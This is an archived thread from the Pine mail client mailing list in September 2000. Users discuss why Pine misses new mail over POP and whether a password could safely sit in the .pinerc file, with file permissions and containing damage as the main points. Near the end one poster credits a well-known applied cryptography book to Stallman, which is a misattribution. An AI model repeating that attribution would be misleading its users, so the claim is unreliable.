mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 02:39:38 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA03739; Fri, 15 Sep 2000 02:39:35 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA07948; Fri, 15 Sep 2000 02:39:34 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA08810; Fri, 15 Sep 2000 02:38:34 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA59598 for ; Fri, 15 Sep 2000 02:37:54 -0700 Received: from moose.uvm.edu (moose.uvm.edu [132.198.101.60]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA03318 for ; Fri, 15 Sep 2000 02:37:53 -0700 Received: from gnu.uvm.edu (gnu.uvm.edu [132.198.101.64]) by moose.uvm.edu (8.9.3/8.9.3) with ESMTP id FAA55384 for ; Fri, 15 Sep 2000 05:37:52 -0400 Received: from localhost (ashawley@localhost) by gnu.uvm.edu (AIX4.3/UCB 8.8.8/8.8.7) with ESMTP id FAA134428 for ; Fri, 15 Sep 2000 05:37:52 -0400 Message-Id: Date: Fri, 15 Sep 2000 05:37:52 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Aaron S. Hawley" To: Pine Discussion Forum Subject: Re: pine + POP In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Authentication-Warning: gnu.uvm.edu: ashawley owned process doing -bs X-Sender: ashawley@gnu.uvm.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Pine FAQ # 5.5 Why is it that I have to exit and reopen Pine in order to receive new mail? http://www.washington.edu/pine/faq/usage.html#5.5 the only way around the behavior is using IMAP account, or using a MTA (Mail Transfer Agent) like fetchmail (I think). aaron On Fri, 15 Sep 2000, Antje Koschel wrote: > > > Hi, > > I just tried to read mail with pine and POP having > the inbox configured as {pop.server/pop3:110}inbox . > > It checks for mail when I start pine but then pop connection stays until timeout > or until I quit pine. And checking for mail that has arrived in the meantime is > not possible. A restart of pine is necessary. Is there a way to change this? > > Thanks, > Antje -- Aaron.Hawley@uvm.edu -> http://www.uvm.edu/~ashawley =========================================================================== Pine 4.21 E-Mail-> www.washington.edu/pine small,fast,simple,complex,open,Free! From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 06:52:17 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA30726; Fri, 15 Sep 2000 06:52:16 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA00476; Fri, 15 Sep 2000 06:52:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA10928; Fri, 15 Sep 2000 06:50:34 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA59538 for ; Fri, 15 Sep 2000 06:49:07 -0700 Received: from tao.agoron.com (andy@tao.agoron.com [206.181.233.66]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA19627 for ; Fri, 15 Sep 2000 06:49:07 -0700 Received: from localhost (andy@localhost) by tao.agoron.com (8.9.3/8.9.3) with ESMTP id JAA20070; Fri, 15 Sep 2000 09:49:04 -0400 (EDT) Message-Id: Date: Fri, 15 Sep 2000 09:49:02 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andy Malato To: Pine Discussion Forum Subject: Re: pine + POP In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: "Aaron S. Hawley" X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is weird, cause I run pine and as I am reading I get notified of new messages that come in. The reason this works is cause I run pine on the actual mail server, I am running pop3 and sendmail and sendmail is using mail.local to deliver mail locally to people's inbox. Is this working because I run pine on the actually mail server? ---Andy On Fri, 15 Sep 2000, Aaron S. Hawley wrote: > Pine FAQ # > > 5.5 Why is it that I have to exit and reopen Pine in order to receive new > mail? > > http://www.washington.edu/pine/faq/usage.html#5.5 > > the only way around the behavior is using IMAP account, or using a MTA > (Mail Transfer Agent) like fetchmail (I think). > > aaron > > On Fri, 15 Sep 2000, Antje Koschel wrote: > > > > > > > Hi, > > > > I just tried to read mail with pine and POP having > > the inbox configured as {pop.server/pop3:110}inbox . > > > > It checks for mail when I start pine but then pop connection stays until timeout > > or until I quit pine. And checking for mail that has arrived in the meantime is > > not possible. A restart of pine is necessary. Is there a way to change this? > > > > Thanks, > > Antje > > -- > Aaron.Hawley@uvm.edu -> http://www.uvm.edu/~ashawley > =========================================================================== > Pine 4.21 E-Mail-> www.washington.edu/pine > small,fast,simple,complex,open,Free! > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 06:58:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA12594; Fri, 15 Sep 2000 06:58:30 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA00599; Fri, 15 Sep 2000 06:58:30 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA12199; Fri, 15 Sep 2000 06:57:29 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA21636 for ; Fri, 15 Sep 2000 06:57:03 -0700 Received: from george.he.net (george.he.net [216.218.157.2]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA04748 for ; Fri, 15 Sep 2000 06:57:03 -0700 Received: from corten5.pacbell.net (adsl-63-193-247-201.dsl.snfc21.pacbell.net [63.193.247.201]) by george.he.net (8.8.6/8.8.2) with ESMTP id GAA09297; Fri, 15 Sep 2000 06:56:59 -0700 Message-Id: Date: Fri, 15 Sep 2000 06:53:52 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Bill Schoolcraft To: Pine Discussion Forum Subject: Re: pine + POP In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: "Aaron S. Hawley" X-Cc: Pine Discussion Forum X-Sender: bill@corten5 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN At Fri, 15 Sep 2000 it looks like Aaron S. Hawley composed: ASH-->Pine FAQ # ASH--> ASH-->5.5 Why is it that I have to exit and reopen Pine in order to receive new ASH-->mail? ASH--> ...............I had a situation where I left my machine on all night and didn't want to hear the BEEP when a message arrived and I also use fetchmail. I ended up setting my "mail-check-interval" to "0" (zero) and then I use ^L to pull my mail from my inbox. Sometimes it tells me it's an invalid command but it always works the second try. On occassion I have to restart fetchmail but that's a fetchmail thing, not Pine. -- Bill Schoolcraft http://wiliweld.com PO Box 210076 San Francisco, CA 94121 " Ofortunatos nimium, sua si bona norint! " From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 07:17:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA09415; Fri, 15 Sep 2000 07:17:07 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA13163; Fri, 15 Sep 2000 07:17:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA11774; Fri, 15 Sep 2000 07:16:17 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA25128 for ; Fri, 15 Sep 2000 07:15:47 -0700 Received: from usceast.cs.sc.edu (usceast.cs.sc.edu [129.252.11.9]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA24375 for ; Fri, 15 Sep 2000 07:15:46 -0700 Received: from pearl.cs.sc.edu (pearl.cs.sc.edu [129.252.130.40]) by usceast.cs.sc.edu (8.9.3/8.9.3) with ESMTP id KAA48906 for ; Fri, 15 Sep 2000 10:15:45 -0400 (EDT) Received: from localhost (gopalan@localhost) by pearl.cs.sc.edu (8.9.3/8.9.3) with ESMTP id KAA15037 for ; Fri, 15 Sep 2000 10:15:45 -0400 (EDT) Message-Id: Date: Fri, 15 Sep 2000 10:15:44 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gopi Sundaram To: Pine Discussion Forum Subject: Re: pine + POP In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Authentication-Warning: pearl.cs.sc.edu: gopalan owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 15 Sep 2000, Andy Malato wrote: > This is weird, cause I run pine and as I am reading I get notified > of new messages that come in. > Is this working because I run pine on the actually mail server? Yes. The notification problem is only when you are accessing your mail via POP. In this case, you may be reading a locally mounted mail spool file. In any case, as I recall (from about 5 years ago), I didn't have to actually restart Pine. I just had to close my Inbox and come back to it to get my new messages. I would usually do this by going to my sent-mail folder, and then coming back to the Inbox. I haven't use POP in those 5 years, so I don't know if this still works. Gopi. -- Gopi Sundaram gopi@cs.sc.edu From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 10:44:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA15532; Fri, 15 Sep 2000 10:44:11 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA07352; Fri, 15 Sep 2000 10:44:10 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA20789; Fri, 15 Sep 2000 10:42:56 -0700 Received: from jason02.u.washington.edu (root@jason02.u.washington.edu [140.142.76.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA61862 for ; Fri, 15 Sep 2000 10:40:54 -0700 Received: from dante31.u.washington.edu (leibrand@dante31.u.washington.edu [140.142.15.213]) by jason02.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.01) with ESMTP id KAA41420 for ; Fri, 15 Sep 2000 10:40:52 -0700 Received: from localhost (leibrand@localhost) by dante31.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA52734 for ; Fri, 15 Sep 2000 10:40:52 -0700 Message-Id: Date: Fri, 15 Sep 2000 10:40:52 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Scott Leibrand To: Pine Discussion Forum Subject: Re: pine + POP In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Cc: Pine Discussion Forum X-Sender: leibrand@dante31.u.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 15 Sep 2000, Gopi Sundaram wrote: > In any case, as I recall (from about 5 years ago), I didn't have to > actually restart Pine. I just had to close my Inbox and come back to > it to get my new messages. I would usually do this by going to my > sent-mail folder, and then coming back to the Inbox. I haven't use POP > in those 5 years, so I don't know if this still works. With Pine 4.21, Pine keeps the INBOX open until you quit the program. So what you describe will work if your POP mailbox is an Incoming Folder, but not if it's defined as your primary INBOX. -- Scott Leibrand leibrand+pine@u.washington.edu (Yes, that is a valid address.) http://students.washington.edu/leibrand http://www.nwlink.com/~leibrand * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 15:47:55 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA06498; Fri, 15 Sep 2000 15:47:53 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA29546; Fri, 15 Sep 2000 15:47:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA04178; Fri, 15 Sep 2000 15:47:21 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA67196 for ; Fri, 15 Sep 2000 15:46:35 -0700 Received: from vax.area.com (vax.area.com [216.218.218.27]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id PAA13083 for ; Fri, 15 Sep 2000 15:46:35 -0700 Received: (qmail 7507 invoked by uid 1828); 15 Sep 2000 22:46:34 -0000 Message-Id: Date: Fri, 15 Sep 2000 15:46:34 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matt Ackeret To: Pine Discussion Forum Subject: Re: PINE-INFO digest 879 In-Reply-To: <200009150705.AAA24059@lists4.u.washington.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >From: Walt Smith >These controls are not Pine-dependent, but are really emulator-specific. >I don't know if it's possible to remap emulator keystrokes in your setup, >but this is about the only way you'll accomplish what you want. How is this emulator specific? The original questioner was talking about the pico keystrokes. (I presume it's still pico keystrokes even in the headers.. I turned on the alternate editor as fast as I could when I started using pine. It would be torture if I had to use pico.) >From: Eduardo Chappa >*** Walt Smith (ka3agm@ns.shellworld.net) wrote in the pine-info list >about "Syntqax for inbox entries in pinerc or .pinerc files" today: > >:) Is there any way to include the password in these entries so as to avoid >:) having to type them in when I want to access a remote mailbox? For >If this were possible it would be very unsecure, as the password would be >in plain text, for anyone to read, the syntax does not support this, what Yikes.. Why does the .pinerc have world-read privs? 30 -rw-r--r-- 1 mattack users 15025 Sep 6 14:54 .pinerc If *I* have read privs on the file, doesn't pine then run as my userid? So if I chmod o-r .pinerc, wouldn't it _not_ be insecure? At least people couldn't casually read the password. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 15 Sep 2000 20:25:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA28503; Fri, 15 Sep 2000 20:25:03 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA22714; Fri, 15 Sep 2000 20:25:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id UAA27892; Fri, 15 Sep 2000 20:23:57 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id UAA166636 for ; Fri, 15 Sep 2000 20:23:15 -0700 Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA07297 for ; Fri, 15 Sep 2000 20:23:15 -0700 Received: from goedel1.math.washington.edu (goedel1.math.washington.edu [128.95.224.10]) by euler.math.washington.edu (8.9.3/8.9.3) with ESMTP id UAA65649; Fri, 15 Sep 2000 20:22:08 -0700 (PDT) Message-Id: Date: Fri, 15 Sep 2000 20:23:13 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: Pine Discussion Forum Subject: Re: PINE-INFO digest 879 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Matt Ackeret X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN *** Matt Ackeret (mattack@area.com) wrote in the pine-info list about "Re: PINE-INFO digest 879" today: :) >If this were possible it would be very unsecure, as the password would be :) >in plain text, for anyone to read, the syntax does not support this, what :) :) Yikes.. Why does the .pinerc have world-read privs? :) 30 -rw-r--r-- 1 mattack users 15025 Sep 6 14:54 .pinerc :) :) If *I* have read privs on the file, doesn't pine then run as my userid? :) So if I chmod o-r .pinerc, wouldn't it _not_ be insecure? At least people :) couldn't casually read the password. It would still be insecure, if you ever leave your computer unattended, your password will be there for any one to see, while you come back. It has to be encripted. -- Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sat, 16 Sep 2000 15:08:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA11369; Sat, 16 Sep 2000 15:08:01 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA21024; Sat, 16 Sep 2000 15:08:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA09307; Sat, 16 Sep 2000 15:06:53 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA21994 for ; Sat, 16 Sep 2000 15:04:13 -0700 Received: from vax.area.com (vax.area.com [216.218.218.27]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id PAA14946 for ; Sat, 16 Sep 2000 15:04:13 -0700 Received: (qmail 9426 invoked by uid 1828); 16 Sep 2000 22:04:12 -0000 Message-Id: Date: Sat, 16 Sep 2000 15:04:12 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matt Ackeret To: Pine Discussion Forum Subject: Re: PINE-INFO digest 879 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 15 Sep 2000, Eduardo Chappa wrote: >It would still be insecure, if you ever leave your computer unattended, >your password will be there for any one to see, while you come back. It >has to be encripted. But you can say the same thing about leaving pine running.. it's "insecure" since someone could come up and read your mail. Or basically any computer running in an office building unless people lock their accounts/log out every single time they leave their desk. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sat, 16 Sep 2000 15:16:33 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA31236; Sat, 16 Sep 2000 15:16:32 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA21162; Sat, 16 Sep 2000 15:16:31 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA22452; Sat, 16 Sep 2000 15:15:33 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA58946 for ; Sat, 16 Sep 2000 15:14:14 -0700 Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA15458 for ; Sat, 16 Sep 2000 15:14:14 -0700 Received: from goedel2.math.washington.edu (goedel2.math.washington.edu [128.95.224.11]) by euler.math.washington.edu (8.9.3/8.9.3) with ESMTP id PAA98004; Sat, 16 Sep 2000 15:13:08 -0700 (PDT) Message-Id: Date: Sat, 16 Sep 2000 15:14:13 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: Pine Discussion Forum Subject: Re: PINE-INFO digest 879 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Matt Ackeret X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN *** Matt Ackeret (mattack@area.com) wrote in the pine-info list about "Re: PINE-INFO digest 879" today: :) On Fri, 15 Sep 2000, Eduardo Chappa wrote: :) >It would still be insecure, if you ever leave your computer unattended, :) >your password will be there for any one to see, while you come back. It :) >has to be encripted. :) :) But you can say the same thing about leaving pine running.. it's "insecure" :) since someone could come up and read your mail. :) :) Or basically any computer running in an office building unless people :) lock their accounts/log out every single time they leave their desk. Yes, you can say that. The point is not only that someone may read your mail, is that they would have access to the computer where that e-mail is stored. Steal all kind of information that is available to them, and all in your name. I don't disagree with you at all, but a password may also give them the chance to do anything they like whenever they like too. -- Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sat, 16 Sep 2000 21:03:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA15638; Sat, 16 Sep 2000 21:03:42 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA13886; Sat, 16 Sep 2000 21:03:42 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA26519; Sat, 16 Sep 2000 21:03:17 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA122822 for ; Sat, 16 Sep 2000 21:02:28 -0700 Received: from usceast.cs.sc.edu (usceast.cse.sc.edu [129.252.11.9] (may be forged)) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA19453 for ; Sat, 16 Sep 2000 21:02:28 -0700 Received: from pearl.cs.sc.edu (pearl.cs.sc.edu [129.252.130.40]) by usceast.cs.sc.edu (8.9.3/8.9.3) with ESMTP id AAA65039 for ; Sun, 17 Sep 2000 00:02:18 -0400 (EDT) Received: from localhost (gopalan@localhost) by pearl.cs.sc.edu (8.9.3/8.9.3) with ESMTP id AAA24426 for ; Sun, 17 Sep 2000 00:02:18 -0400 (EDT) Message-Id: Date: Sun, 17 Sep 2000 00:02:17 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gopi Sundaram To: Pine Discussion Forum Subject: Re: PINE-INFO digest 879 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Authentication-Warning: pearl.cs.sc.edu: gopalan owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 16 Sep 2000, Matt Ackeret wrote: > On Fri, 15 Sep 2000, Eduardo Chappa wrote: > >It would still be insecure, if you ever leave your computer unattended, > >your password will be there for any one to see, while you come back. It > >has to be encripted. > > But you can say the same thing about leaving pine running.. it's > "insecure" since someone could come up and read your mail. Basically, the idea is containment of damage. If someone got administrative privileges on your network or computer through unauthorized means, you should minimize the amount of information available to him/her, despite the level of authority on the network. Stallman has a fine book on applied crypto. There are some very detailed descriptions of why things must be done certain ways. Take a look at it if you care to. Gopi. -- Gopi Sundaram gopi@cs.sc.edu From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 17 Sep 2000 11:19:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA29877; Sun, 17 Sep 2000 11:19:57 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA07577; Sun, 17 Sep 2000 11:19:57 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA19732; Sun, 17 Sep 2000 11:18:46 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA60750 for ; Sun, 17 Sep 2000 11:17:35 -0700 Received: from usceast.cs.sc.edu (usceast.cs.sc.edu [129.252.11.9]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA19024 for ; Sun, 17 Sep 2000 11:17:35 -0700 Received: from pearl.cs.sc.edu (pearl.cs.sc.edu [129.252.130.40]) by usceast.cs.sc.edu (8.9.3/8.9.3) with ESMTP id OAA68689; Sun, 17 Sep 2000 14:17:30 -0400 (EDT) Received: from localhost (gopalan@localhost) by pearl.cs.sc.edu (8.9.3/8.9.3) with ESMTP id OAA26672; Sun, 17 Sep 2000 14:17:30 -0400 (EDT) Message-Id: Date: Sun, 17 Sep 2000 14:17:28 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gopi Sundaram To: Pine Discussion Forum Subject: Re: PINE-INFO digest 879 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Ben Elliston X-Cc: Pine-info Mailing List X-Authentication-Warning: pearl.cs.sc.edu: gopalan owned process doing -bs X-Listprocessor-Version: 